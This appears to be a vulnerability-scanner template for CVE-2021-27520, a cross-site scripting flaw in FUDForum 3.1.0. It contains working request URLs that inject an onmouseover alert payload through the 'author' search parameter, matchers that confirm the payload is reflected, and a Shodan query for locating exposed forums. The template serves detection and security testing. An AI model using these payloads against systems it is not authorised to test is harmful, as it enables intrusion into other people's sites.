id: CVE-2021-27520

info:
  name: FUDForum 3.1.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript via index.php in the "author" parameter.
  reference:
    - https://www.exploit-db.com/exploits/49943
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27520
  metadata:
    verified: "true"
    shodan-query: html:"FUDforum"
  tags: cve,cve2021,xss,fuddorum

requests:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D'
      - '{{BaseURL}}/forum/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D%22'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover=alert(document.domain) x='
          - 'FUDforum'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200